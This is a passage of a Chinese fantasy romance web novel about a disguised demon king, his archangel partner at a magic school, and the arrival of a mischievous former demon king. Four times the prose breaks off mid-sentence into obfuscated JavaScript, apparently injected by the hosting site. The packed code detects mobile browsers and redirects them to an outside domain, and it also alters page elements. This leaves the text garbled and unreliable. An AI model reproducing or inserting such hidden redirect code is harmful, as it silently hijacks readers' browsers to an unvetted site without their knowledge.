如果他的耳朵没有因为羞涩而泛红的话,或许会更有说服力了。 巴奈越来越觉得自己就是被这对伴侣拉过来吃狗粮的无辜路人,但值得庆幸的是,随着年轻人的这句话,背后的注视也变得温和起来。 温和宠溺得让巴奈甚至有几分恶寒。 他想赶紧收拾收拾,将天使长大人的漂亮甜心送走。 “那不就得了,只要你们还深爱着彼此,这些差距都是可以被忽略的,”巴奈循循善诱:“你会因为塞西整天阴阳怪气笑里藏刀就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587139|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌他吗?” 阿瑞斯摇摇头。 “塞西也是如此,”巴奈最后说:“他爱你爱得要死不活的,什么小差距小麻烦只会是情趣而已。” “小阿瑞斯,你永远不会知道他能为你改变到什么地步,你只需要继续相信他。”他喟叹道。 诺曼堡的春天总是开满了各种花,诊所的窗外就有一整丛可爱的小雏菊,阳光撒在花丛里,实在是一个温馨美好的下午。 漂亮的年轻人擦干了眼泪,又重新变回之前那样优雅矜贵的摸样,眼睛亮亮地道了谢后,就急匆匆地推开门离开。 不愧是你,聪明的巴奈,神界最伟大的四翼天使。 医生满意地望着阿瑞斯离开的方向,低头喝了一口热腾腾的咖啡。 “阴阳怪气笑里藏刀?” “噗!”褐色的咖啡又一次地弄脏了巴奈用来装模作样的白大褂,他狼狈地擦着嘴角,尝试狡辩:“尊敬的亚德西莫大人,您知道这绝对不是我的本意。” 巴奈本来都已经准备好接受来自亚德西莫的嘲讽和阴阳了,没想到等了半天却听到天使长轻声开口:“巴奈,多谢你。” 巴奈愣了愣,然后摸了摸脑袋,错开视线假装洒脱地地笑两声:“嗨,这有什么。” —— 阿瑞斯的心脏跳动得很快,仿佛下一秒就要从胸腔跳出来一般。 魔王的身体素质好得不像话,从诊所到小屋的距离也不过就是三条街,但他却跑得红了脸。 快到门口的时候,才放慢了步子,调整着呼吸频率。 正想要敲门,却发现大门根本就是敞开着的,温暖昏黄的光从门缝中溢出来。 手心没有来得及碰到冷硬的门,就先一步地被提前打开门的男人握住。 塞西的体温是让魔族会感到舒适的类型,不冷不热刚刚好,皮肤也是细腻柔韧的,能让紧绷着身体的魔王慢慢被安抚下来。 亚德西莫刚才去找过一趟伊斯顿,稍微有些混乱倾向的精神状态好了一些,伴侣红了的眼眶在他眼中也就更加明显了。 去一趟诊所,委屈成了这样子。 天使长心疼得不行,但不能暴露自己在背后偷偷窥视他的事实,只能轻轻蹭两下他的眼尾,又在那块皮肤上落下一个吻,才牵住人往屋里走:“宝贝,阿瑞斯甜心,我把你的画填好了色,你想看看吗?” 阿瑞斯摇摇头,然后很快地又点点头,嘴唇轻轻咬着,眸子注视着面前的人不讲话。 亚德西莫觉得伴侣的眼睛才更应该是出现在画上的元素,或者它们本来就像是一幅画。 一道轻叹在两人之间响起来,阿瑞斯也分不清到底是出自自己还是对面的塞西。 总之在这充满了戏剧意味的一天,魔王的人类伴侣冲着他眨了眨眼,语气轻松而布满了笑意,像极了他从前的每一个慵懒自在的笑。 “亲爱的,我的假期还剩下半天零一整个夜晚,或许我们不应该浪费掉它。”天使长大人拖长了语调,暧昧地说。 11. 要不然抓紧时间再来一次? 除去节假日和周末之外,阿瑞斯几乎从来没有过这种大白天还和伴侣窝在床上的情况。 甚至有些时候,就连周末,塞西也会被霍尔莫德斯的可恶院长所叫回去加班。 阿瑞斯实在想不明白,为什么人类会那么重视历史文明之类的东西,就连在高级魔法学校里,文明与历史学院的老师也忙得不行,阿瑞斯曾经去伴侣工作的地方看过一次,几乎所有人都忙得脚不沾地。 那些花里胡哨的文字,魔王一个花纹也看不懂,幸好在他坐立不安感到无聊时,被赶过来的伴侣接走。 正是因为塞西平时的繁忙,所以这种闲暇的时间才如此珍贵。 阿瑞斯本来都已经严谨地做好了计划,剩下来的时间,要先去广场喂鸽子,然后遛弯去最近的影院,看一个用低级但浪漫的魔法制造的露天电影,在没有人发现的角落里交换玫瑰,偷偷接一个温柔的吻,最后再送伴侣去霍尔莫德斯,等他上完下午的课。 想是那么想的,阿瑞斯甚至还兴奋地把自己写在了笔记本上的计划,拿给履行计划的另一位当事人欣赏。 塞西当场就表示非常满意,并且用一些让魔王脸红的语言,直白优雅地不断夸奖他。 一边夸一边动手动脚,最后不知道是怎么回事,就动到了床上。 才换过的被褥透着阳光和洗衣粉干净清冽的气息,伴侣的身上也有着让魔王熟悉的温暖的味道。 像是冬天的热巧克力,像太阳底下的矢车菊。 总而言之,阿瑞斯也不明白这两天是怎么度过的,等他迷迷糊糊地反应过来时,来之不易的假期已经被他们鬼混得只剩下最后两个小时了。 “别难过了,准确的来说,是两个小时零十三分钟。”天使长大人从被褥间伸出来一只赤-裸的手臂,安慰般的摸了摸阿瑞斯的耳朵边,撑起身体后慵懒地抱住伴侣,带着笑意地说:“要不然抓紧时间再来一次?” 这句话刺激得正在懊悔的魔王陛下一下子就回过神来,红着耳朵假装稳重地摇摇头,认真道:“不行,你需要进食。” 还在温柔乡中沉醉,满脑子黄色废料的亚德西莫没有发现伴侣的这句话其实有些漏洞,眨眨眼无辜地故意望着他:“但是阿瑞斯,你已经把我喂得很饱了。” 天使长舔舐着唇瓣:“每个地方都满满当当的。” 阿瑞斯的脸更烫了,眼睛飞快地瞟了一下伴侣露出来的胸膛上,自己留下的那些痕迹。 “可恶的塞西。”魔王只能凶狠地在那些痕迹上重新咬一口,含糊不清又委屈地抱怨:“我的计划全部都被打破了。” 亚德西莫闷哼一声,蔚蓝色的眸子眯起来,里面满满都带着餍足,温热的手心轻轻放在了年轻伴侣的背脊上,若有所指:“所以……为什么不干脆打破得更彻底一些?” 天使的占有欲并不比其他种族少,就连最后的这两个小时,亚德西莫也不想放过。 正兴奋地想要往漂亮人类男孩儿身体的更深处探索,结果还没等他开始行动,手指就被人拉住再推开。 再紧接着眼前就是一件白衬衫被丢过来,遮住了眼前的一片春色,也打断了暧昧的气氛。 阿瑞斯害怕再这样胡闹下去,自己会因为太激动又把尾巴放出来了,纠结了几秒钟后,理智终于获得胜利。 他连忙将伴侣的手拉扯开,递给他衣物的同时,用更快的速度给自己穿上上衣,还结结巴巴地说:“不可以的,塞西,你该去工作了。” 被毫不留情推开的亚德西莫:“……宝贝,我可以理解为你是在赶我去上班吗?” 红着脸的魔王陛下非常坚决且无情:“没错。” 勾引失败的天使长大人:“……” 天使长的确是所有天使中最擅长于伪装的一只,委曲求全又欲求不满的样子,看得阿瑞斯有些心软,放轻声音又重复了一遍:“塞西,我们要先吃点东西。” 刚才被情-欲冲昏了头脑,现在冷静下来后,亚德西莫仔细想了想,从昨晚到第二天中午,他们的确几乎没有正常进食。 天使自然是不需要的,但是阿瑞斯只是一名普通的年轻“人类”。 歉意一下子就涌上了心头,亚德西莫站起身,蹭了蹭伴侣还是带着红晕的侧脸,坦率地承认自己的错误:“是我考虑不周,我们的确应该进食了。” 阿瑞斯眼睛一亮:“我想起来前几天买了蛋糕。” “它放太久了,会吃坏肚子,”在伴侣慢慢变得沮丧失落的视线注视下,亚德西莫又话锋一转,轻笑着提议:“也许,我们可以到霍尔莫德斯去吃个午餐。” —— 霍尔莫德斯,诺曼堡唯一的高级魔法学校,和骑士殿一个在城市北面,一个在城市南面,培养出了不少厉害的人类强者。 阿瑞斯在诺曼堡去得最少的地方,除了骑士殿,就是霍尔莫德斯。 毕竟哪怕诺曼堡只是个边缘小城,但不管是骑士殿还是魔法学校,都总可能会有厉害的人类出现。 会增加魔王被迫暴露身份的危险。 但幸运的是,魔王有一名在霍尔莫德斯任教的伴侣。 还是能给家属佩戴七星芒徽章的那种。 七星芒徽章本来的作用,是帮助普通人类减轻在面对非人族(比如精灵、魔族、兽人、天使)时,所带来的被压迫感,同样也会让非人类的状态能够更加平稳,非常适合霍尔莫德斯这种有不少非人族师生的学校。 当然也非常适合装成了普通人类的魔王陛下。 很多时候阿瑞斯都不得不承认,人类虽然生来脆弱,但在研究各种花里胡哨的工具上,却格外有天赋。 要不要干脆抓几只人类回魔界给弗尔伊德他们当技术指导算了…… “阿瑞斯,我去给你拿餐食。”天使长大人温和的声音,将魔王陛下正在酝酿中的“邪恶计划”打断,阿瑞斯抬起头,然后就被手痒痒的亚德西莫揉了揉黑发:“可以在休息室四周转转,但不要走太远。” 曾经当众宣称“最讨厌别人触碰他的身体”的魔王下意识地仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587140|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起脖子在伴侣的手底下蹭了蹭,反应过来后,脸上一红连忙坐回原位,矜持地点头答应:“知道了。” 霍尔莫德斯虽然是学校,但却拥有整个诺曼堡最好吃的餐厅,不管是正餐还是甜点,都比正常食物品质高上一大截,还物美价廉,让一些手头紧张的学生也能消费得起。 就是管控比较严格,只允许学校内部的员工和师生享用。 嗯,当然还包括老师的家属。 不过阿瑞斯并没有直接跟着亚德西莫去餐厅,而是选择在伴侣的专属休息室里等候。 这是自从第一次两人一起进入餐厅,然后被一群兴奋的学生围得走不动路,还被围观了整个吃饭的过程后,同时选择的结果。 优雅风趣的塞西老师在霍尔莫德斯的人气已经高得不像话了,在加上他那名在诺曼堡都很是出名的年轻美丽的画师伴侣,简直就是行走的八卦源头。 初到人界的魔王陛下当时差点就被吓出两只尖耳朵,整顿饭都吃得手脚僵硬,还时不时地冲着人群龇牙。 虽然最后都变成了围观群众们起哄惊呼的对象。 而天使长大人,则是从那次饭后,被学生们调侃了整整一年的“金屋藏娇”。 所以虽然不管是天使还是魔族,本质上都是爱炫耀又骄傲的种族,但是经此一事后,两人都不约而同地选择了低调行事。 毕竟不会有什么比整天被学习和课本折磨的倒霉人类学生们,还要更爱看热闹的生物了。 和绝大多数的同族一样,阿瑞斯从来都不是一只闲得住的魔,在休息室的沙发上乖乖呆了还没有两分钟,亚德西莫走之前用来给他解闷的图画书都还没有看完第一页,就坐不住地站了起来。 沿着伴侣的工作位转了好几圈,一会儿摸摸桌上镶着亮晶晶宝石的相框,一会儿戳戳门口由蓝色干花做成的风铃,时不时还翻一翻自己送给他的漂亮笔记本。 放眼望去,这间休息室里面,到处都有阿瑞斯的痕迹。 让魔王产生一种在巡视领地一般的舒适和满足感。 然而这种愉悦还没有持续多久,就被一道有些熟悉的笑声所打断:“噗嗤。” 阿瑞斯的动作一顿,一股非常不祥的预感升上心头。 果然,门口挂着的风铃被不速之客随手拨动,发出清脆悦耳的声响。 还伴随着男人磁性又慵懒的调侃:“瞧瞧,这不是我们可爱尊贵的魔王陛下吗?” 他的声音随意又亲昵,像是长辈又像是友人,但阿瑞斯的身体却因此而猛然变得僵硬,连脸色也冷下来,双眸中的紫色隐隐变深。 年轻的魔王一字一顿地咬牙喊出面前的男人的名字:“撒、尔。” “错误。”站在门口的男人扎着一个侧边粗辫,发尾垂在胸前,眼尾是艳丽的红色,他勾起同样艳红的唇,晃了晃手指:“是尊贵的尤普拉·布鲁埃尔德·卡森顿·撒尔。” 他眨眨眼:“你也可以喊我撒尔舅舅,亲爱的阿瑞斯。” 阿瑞斯:“……” 12. “刚才,是有谁来过吗?” 阿瑞斯是真的没想到弗尔伊德他们居然不是开玩笑,而是真真切切地魔高艺胆大。 他们是怎么敢真的把撒尔这种魔从深渊找出来的啊啊啊!还动作那么快!一点都不给魔王陛下准备时间的! 这两天甜蜜安心的休假生活就像是一场短暂的美梦一样,阿瑞斯哪怕心中担心着这件事,但在巴奈医生的开解下,也努力地将它们抛到了脑后。 刚好不靠谱的下属们也联系不上,阿瑞斯本来想先陪伴侣过完这个假期再说,不要浪费了难得的休闲日,至于其他事情,等这两天过完了再想也不迟。 可是明明假期都还没有结束。 还有整整一个小时零二十分钟。 美梦就一下子就被击碎了。 阿瑞斯被气得差点想要甩尾巴:“弗尔伊德他们不懂事,你也不懂事吗,干嘛要随便离开深渊,还跑到人界来。” 连外貌也不做改变,生怕别人不知道他是魔族一样。 撒尔是一只有着白色长发的魔,平时最喜欢的就是给自己的头发扎辫子,闻言笑眯眯地说:“放心,我会把头发弄黑的。” 他说话的时候,顺便打了个响指,一头银丝就这样变成顺滑黝黑的颜色,还非常讲究地在发尾缠绕了一段红色的丝线,殷红的瞳孔也变成了最普遍的棕色,只在眼尾残留一点浅红。 “嗯,好像还不错。”撒尔自然而然地伸出手,阿瑞斯腰间的小镜子,就到了他的手中。 照了照后,前前前任魔王满意地这样夸奖自己。 “……谁问你这个了。”阿瑞斯快要崩溃了,好像又回到了很久之前和深渊里的那群老狐狸们纠缠的日子:“可恶,就算一定要来,也别到霍尔莫德斯,是想要被人类抓走去做魔法药剂的材料吗!” 撒尔挑起眉眼:“你不也在这儿。” “……” “啊也是,毕竟阿瑞斯已经长大了,是成熟的魔王陛下了,还有了一名在高级魔法学校工作的伴侣,自然能够出入自由,”撒尔眨眨眼:“和我们这种孤家寡魔的确不同。” “撒尔!” 在深渊呆了千百年,闲得蛋疼的老家伙们,在逗弄新任魔王这件事上十分熟练,轻而易举地就能将他弄得脸红。 阿瑞斯实在不想和这只为老不尊还整天污言秽语的魔说话,往外看了看,确认没有人在走廊上后,就赶紧抵住撒尔的肩膀,将他往外推:“趁着他们都去餐厅了,你赶紧溜出去,让我想想……你到最近公园的枫树林里面藏起来吧,等晚点我再过来找……” 嘱咐的话还没有说完,撒尔就啊了一声,饶有兴趣地看过来:“餐厅?” 阿瑞斯:“……” 完蛋,忘记深渊里的魔都是一群饿死鬼了。 正当魔王陛下在绞尽脑汁地思考着该怎么打消撒尔的念想时,察觉到一道熟悉的脚步声正在接近,耳朵尖动了动,紫罗兰般的眸子中带上了点慌乱。 撒尔显然也感受到了,故意说:“瞧瞧,这是什么声音,难道是我们魔王陛下的人类伴侣吗?” 闻言阿瑞斯慢慢抿起唇,眼中闪过暗色,放到撒尔肩膀上的手指也隐隐可见强大危险的魔力流动。 前前前任魔王的笑容僵硬在嘴角,他开玩笑般说:“可爱的阿瑞斯,你不会是想要灭了口再毁尸灭迹吧。” 沉默。 “……你玩真的?” 显然撒尔还没有想要直接被送回深渊老家的计划,在第二次沉默发生后,身影瞬间变得透明,并且退开老远,隔着半个空空的走廊和阿瑞斯挥手:“好吧好吧,我先离开,不听话的小外甥。” 这只可恶的魔头走之前还要占一占阿瑞斯的便宜,舌尖舔过殷红的唇瓣:“撒尔舅舅先去享受午餐了,晚点再过来找你。” 在阿瑞斯忍无可忍前,他又眨眨眼:“放心,我暂时还没有欺负人类的想法,亲爱的阿瑞斯。” 最后一个字的尾音刚刚落下,撒尔的身形就完全变成透明的风,消散在了转角处。 不知道是不是阿瑞斯的错觉,这只老狐狸一般的魔,在消失前还露出了一个玩味的笑容,让人摸不着头脑。 但很快他就知道撒尔的笑是什么意思了。 “宝贝,我刚刚好像听到有人在喊你的名字。”魔王陛下刚刚才放松下来一点点的肩膀,在一只熟悉而温热的手掌的触碰下,又瞬间僵硬起来。 果然一回头,就看到了提着大包小包的餐盒辛苦归来的伴侣。 那双蔚蓝清透的眸子一如往常的温柔。 亚德西莫唇角带笑,手指却在触及到周围空气中的一晃而过的奇怪气息后,轻缓地摩挲。 “刚才,是有谁来过吗?”他自然温和地这样询问。 阿瑞斯:紧张.jpg 最后在魔王的三寸不烂之舌(支支吾吾狡辩)下,天使长大人笑眯眯地顺着他的意思,没有继续在这个问题上纠缠。 亚德西莫不仅打包了正餐,还带了甜点和水果,甚至贴心地准备了咖啡和橘子水。 霍尔莫德斯的餐厅大厨水平果然是顶级水平,阿瑞斯本来还担心自己会因为心虚和慌乱而显得食欲不振,结果在伴侣将食物都摆放在面前后,眼睛就亮了起来,乖乖地坐在沙发上,盯着餐盒吞咽口水。 天使对食物的欲望很低,如果不是因为担心阿瑞斯会产生疑心,亚德西莫甚至根本就不想要触碰人界的食物。 而魔族则是恰恰相反,哪怕普通的人类食物并不能给他们的身体带来多少能量摄入,但是却总能让他们欲罢不能。 甚至还有魔族自从无意之中尝过一次人类的食物后,就一直想要偷渡到人界来绑架厨子。 因此,这一桌的食物大部分都进到了魔王陛下的肚子。 而在阿瑞斯开开心心进食的时候,亚德西莫就用一边手臂撑着头,眉眼含笑地注视着他自以为优雅咀嚼时微微鼓起来的腮帮子。 等魔王反应过来时,桌上的食物已经没剩下多少了,身旁的伴侣还正在为他切割最后一小块草莓蛋糕。 阿瑞斯又是羞涩又是懊恼,结婚那么多年了,他还是控制不住自己的食欲。 塞西会不会觉得他的胃是个无底洞。 阿瑞斯的脸有点红,艰难拒绝来自天使长的投喂:“塞西,我吃不下了。” 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587141|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在伴侣并没有揭穿他眼中那抹对食物的依依不舍,只是看了眼时间,弯着眉眼邀请:“那阿瑞斯想要陪我去上课吗?” —— 文明与历史学院的塞西老师,已经连着三年同时占据了霍尔莫德斯最受欢迎的教授排行榜,以及最严苛的教授排行榜榜首。 但凡是他的课,没有学生敢逃课,当然如果这名倒霉蛋能承受得起被发现后,来自笑眯眯的塞西老师的五万字检讨的话,那就无所谓。 高级魔法学校的学生大多都性情骄傲,自以为是人中龙凤,哪怕在诺曼堡这种小城市也是如此。 有些人甚至连魔法理论或者药剂基础这种课都不屑一顾,更不要说是什么文明历史之类的,听起来就十分无聊的东西。 许多没有经验的学生,上课的第一天就抱着傲气又侥幸的心态逃了课。 紧接着第二天就被他们所完全不放在眼里的“普通人类”塞西老师精准地在一两百名的教室里面揪了出来,当众播放了他鬼鬼祟祟翻墙的画面记录全过程,并且成功收获厚厚一叠检讨。 没有人知道不会任何魔法的“人类”塞西老师是怎么做到这件事的,但遭殃的人越来越多,并且连反抗者也被无情镇压后,塞西老师课堂上的傲气学生们终于肯老老实实听课了。 并且听着听着,竟然觉得这些本来被自己认为是无用且枯燥的历史知识,居然非常有趣!甚至还能通过教授的讲述,从这些古老的历史发展中,领会到“魔法”的真谛,甚至有种世界观被打通浑身舒畅的感觉。 于是,逃课的不敢逃,还有许多来蹭课的学生,塞西老师的课堂成功做到了霍尔莫德斯理论课中少有的座无虚席。 如果不是两人来得早,阿瑞斯都差点没有位置坐。 “如果实在困,就趴在桌上睡觉。”亚德西莫为伴侣拉开椅子,笑着嘱咐他:“不用给我留面子。” 阿瑞斯并不是第一次来蹭课,每次都是兴致勃勃,还装模作样地从亚德西莫的桌上拿了一本书,结果从来没有在塞西老师的温和嗓音中坚持过十分钟。 两眼一闭,然后第二天霍尔莫德斯的热点话题就变成了“塞西老师和在他课上打瞌睡的小恋人”,甚至还有无聊的人类学生弄了个魔法论坛,来专门讨论阿瑞斯能不能在课上坚持过十分钟。 搞得魔王陛下又羞又恼,脑子一热差点半夜潜入学校,去挨个灭口。 “我带了画板,不会睡着的。”阿瑞斯今天难得地穿了一件浅色衬衫,黑发柔软地垂在额前,仰起头时显得十分学生气,看得天使长心头发烫。 亚德西莫喉结滚动两下正想要说什么,却听到了上课铃响起的声音。 “没关系的塞西,我在下面画你。”阿瑞斯扬了扬下巴,示意伴侣安心,紫色的眸子如往常一样矜贵又带着稚气:“你到时候肯定会喜欢得不行。” 亚德西莫还是没有控制住,抓紧了最后一分钟,弯腰当众在阿瑞斯的唇角处落下一个吻:“宝贝,我很高兴能在课上看着你。” 周围吃瓜的学生们,眼睛亮晶晶的:“哇——” 魔王的耳朵红了大半:“快去上课了塞西!” 13. 小宝石和陌生男人 陪伴侣上课是一个甜蜜又稍微有些令魔烦恼的事情。 甜蜜的点存在于每一个两人的视线不经意缠绵擦过的瞬间,而烦恼的点则在于魔王是真的听不懂他们到底在讲什么。 明明单个名词提取出来都认识,但连在一起怎么就能构成这么一句晦涩难懂的话。 魔王陛下倔强地挺直背脊,努力听了三分钟。 然后再眼皮快要闭下来前果断选择放弃。 算了,还是画画吧。 塞西老师不喜欢有学生在他的课堂上做其他的事情。 当然除非那个人是名叫“阿瑞斯”的漂亮青年。 周围的学生们调侃又隐隐带着羡慕的视线在最开始还时不时地会落到,后排那名优雅漂亮的黑发画师上,但随着课程的深入,大部分的人都沉浸在了知识里面,关注阿瑞斯的目光也渐渐少了起来。 这让在人群里有些紧张无措的魔王陛下偷偷地呼出一口气。 阿瑞斯本来的打算是在伴侣的休息室里面一边画画一边等他下课,毕竟自己最近的魔力状况不太稳定,也并不喜欢呆在人类聚集的区域。 但是撒尔的存在却实在难以让人忽略,特别是他最后留下的那句话,让阿瑞斯担心这只恶趣味满满的魔,会故意去到塞西的课上捣乱或者是做出一些可能会伤害到塞西的事情来。 因此当伴侣邀请自己去教室时,魔王只犹豫了几秒钟,就答应下来。 霍尔莫德斯的一节课时长是五十分钟。 阿瑞斯从刚上课时就关注着时间。 现在已经过去了三十五分钟,画板上的画也几乎快要完成了,除了一位逃课被逮住的可怜蛋之外,整个课堂十分顺利,没有任何令魔忧心的意外发生。 也许……撒尔并没有要捣乱的意思,是自己想多了。 这样想之后,阿瑞斯的心情好了许多,连带着画笔都跟着流畅不少。 “噢,真是一副动人的作品,魔王陛下什么时候拥有了这么厉害的画技。” “我一直就很会画画。” 嗯,甚至还能语气愉悦又骄傲地回答身旁那人的无聊问题。 …… 等等。 阿瑞斯猛地站起来,恼怒时的眸子像是太阳底下发光的紫色水晶:“怎么又是你!” 木质的椅子在光滑的地板上磨蹭发出一道重重的刺啦声,讲台上金色长发的教授漫不经心地投去视线,手指间的粉笔却慢慢捏紧。 周围的学生们:偷偷观察ing。 在一片安静注视中,魔王陛下脑袋里响起翁的一声,反应过来后耳朵根红了个彻底,捂着脸坐下来:“抱歉。” 亚德西莫虽然担心,但却也不能真的在上课时下去查看情况,只投过去一个询问的视线,看到阿瑞斯红着脸摇摇头后,才抿住唇继续回头讲课。 但显然课堂中许多人的心神已经被突然发生的这一幕所牵动了,不管是爱看八卦的学生,还是羞恼得想要钻到尾巴底下藏起来的魔王,甚至连亚德西莫也时不时地会往伴侣所在的方向盯上两眼。 完全不受影响的,就只有某只作为始作俑者的魔。 撒尔不知道是用什么方法把本来坐在阿瑞斯旁边的男生挤走的,就连阿瑞斯自己都没有发现。 他丝毫不在意落到自己身上的那一道道好奇探究的视线,眨巴着眼睛凑上来:“啊,算上来的话,其实已经好久没有听到阿瑞斯和别人道过歉了呢,上一次听到好像都是几百年前的事情了。” 阿瑞斯瞪着他,用气音反驳:“你在胡说八道什么,我加起来一共都没有一百岁!” “唉,果然还是小时候比较可爱。”撒尔在答非所问自说自话上向来很有一套,语气感伤:“以前还会让我给你扎辫子。” “……你再说我就把你的辫子烧掉。” 魔王陛下虽然耳朵还是红红的,表情也称不上凶恶,但撒尔却能清晰地感觉到,他是的的确确这样想的。 调戏年轻的魔王是个很有趣的事情,不过撒尔还是更想要保护自己漂亮的头发。 闻言从善如流地说:“好吧,我闭嘴。” 然后安静了两秒钟,就又凑了过来,几乎是贴着阿瑞斯的肩膀:“尊敬的魔王陛下,你应该知道我这次过来人界的目的吧?” 听到这句话,本来因为撒尔的靠近而炸毛,立刻就想要推开他的阿瑞斯动作一顿,紫罗兰般的眸子戴上了点谨慎和犹豫:“你是真的来帮忙吗。” …… 两只魔脑袋挨在一起嘀嘀咕咕,声音很小,还刻意地使用了能够遮掩声音的特殊道具,所以完全不会影响到上课秩序,就连前后排的学生也听不清楚他们的交谈内容。 但这种隐隐约约遮遮掩掩的动静,反而更加惹人心痒,特别是在埋着脑袋说话的两人还是两个不同风格的美人,并且其中一个还是传说中的塞西老师的伴侣时。 浮躁的年轻少年少女们,一部分竖起耳朵抓耳挠腮地试图听清楚那些交谈的语句。 一部分则是凑在一起兴奋讨论:“你看到了吗,小宝石和他旁边那个陌生的男人挨得好近!” 小宝石是学生们在私底下给阿瑞斯起的昵称,因为他的紫色眸子总是像宝石一样又亮又漂亮。 “看到了,不仅如此,我还看到塞西教授笑眯眯地把粉笔都捏碎了,呜呜,好可怕。” “你说他们是什么关系,不会是……” 作为强大的天使长,亚德西莫当然能够听到学生们的讨论,但他却无法听清楚阿瑞斯和坐在他身旁的那个黑发野男人的声音。 他们使用了可以避免被旁人窥听的魔法道具,还是十分低劣的类型,像是随手在路边摊购买的,低劣到天使长只要动一动手指就能完全地破开它的屏障,然后清晰地听到他们说话的内容。 但这样实在太过了,对于亚德西莫来说,在伴侣面前隐藏身份那么多年,已经是一件让他非常愧疚的事情,他无法接受自己再做出更多不尊重阿瑞斯的事情来。 ……不过那个长得乱七八糟吊儿郎当,还不要脸地挨着人家伴侣的大辫子狐狸精到底是谁! 天使长大人不自觉地舔过牙齿,看似平静实则敌意满满的视线不经意地在后排那两个挨在一起的脑袋上扫过。 或许是感受到了这股危险的目光,撒尔说话的动作顿住,抬起头来。 然后勾唇对着讲台上面无表情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587142|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教授挑了挑眉。 手臂还故意若有若无地搭在丝毫没有意识到火药味的阿瑞斯的肩膀上。 亚德西莫:“……” 塞西老师冷冷看他一眼,回过头在黑板上落下还没有写完的话,字迹有力而娟秀:“继续说到刚才的问题——争端与冲突……” 咔嚓一声,粉笔再次断掉。 在战战兢兢瑟瑟发抖的学生们的注视下,亚德西莫写字的动作停了停,然后优雅自然地重新挑选了一根合适的粉笔。 “冲突,往往发生在利益不平衡之下——”塞西老师的声音一如既往的温和清冽,像是一股自然涌出的泉水,带着那根锋利的粉笔头,穿过教室,刺破空气,精准地飞向了后排某个方向。 然后狠狠地砸中了某个扎着侧边麻花辫的脑袋上。 “唔!” 偷偷观察的学生们假装做笔记的手一顿,正在和撒尔窃窃私语的魔王陛下也被吓得停了口。 一片安静中,天使长大人弯着眉眼将手指上的粉笔灰擦去,轻笑着说:“这位同学,不想听课就滚出去哦。” 被直直砸中了脑袋的撒尔:“……” 蔚蓝色的眸子和伪装成了栗色的眸子隔着人群,在诺大的教室中对视。 一个笑意不达眼底,一个满满都是愤怒。 阿瑞斯懵懵地抬起头,完全不知道发生了什么,但却能感受到撒尔突然涌上来的杀意,连忙暗中一脚踩到他的脚背上,提醒他保持冷静。 前前前任魔王简直不敢相信,眼中既愤怒又羞恼,捂住头发喃喃自语:“从来没有人敢这样对我,从来没有……他怎么敢用那种肮脏的东西碰的头发,我要弄死他……” 阿瑞斯很不满他当着自己的面说这些话,皱着眉头威胁他:“你敢,要是塞西有一点受伤,我一定会把你的头发剪掉。” 魔王陛下已经不是以前那个只会被老家伙们忽悠的小可怜魔了,他完全不害怕撒尔逐渐变得难看的脸色,接着平静地说:“然后把它们做成抹布,白天用来擦桌子,晚上用来涮马桶,还要送给地狱犬当磨齿玩具……” “好了好了,够了。”撒尔被恶心得不行,他终于承认小阿瑞斯已经不是之前那个阿瑞斯了,勉强为了自己的长发选择妥协:“我不动他就是了。” 阿瑞斯纠正他:“你本来也动不了。” 强大的魔王,不会让任何人伤害他的伴侣。 撒尔懒得理这只坠入爱河的魔,盯着台上的“人类”,若有所思自言自语:“但事情不能就这样算了……啊,我知道了。” 阿瑞斯忽然就有一种不好的预感,但身旁的魔显然已经有了个“好主意”,他站起身来毫不在意其他人的视线,对着阿瑞斯眨眨眼比了个飞吻:“可爱的阿瑞斯,我们一会儿再见。” “你又要干什么?”阿瑞斯拉住他的袖子,表情凶巴巴的还带着慌乱:“不是说好了在公园等我就行吗。” 此时距离下课时间还有三分钟。 塞西老师马上就要捏碎最后一根粉笔了,他敲着桌面,蔚蓝色的眸子落到自己年轻漂亮的伴侣和陌生男人衣袖相接触的手指上,最后轻声道: “今天提前下课。” 14. 床上日程安排 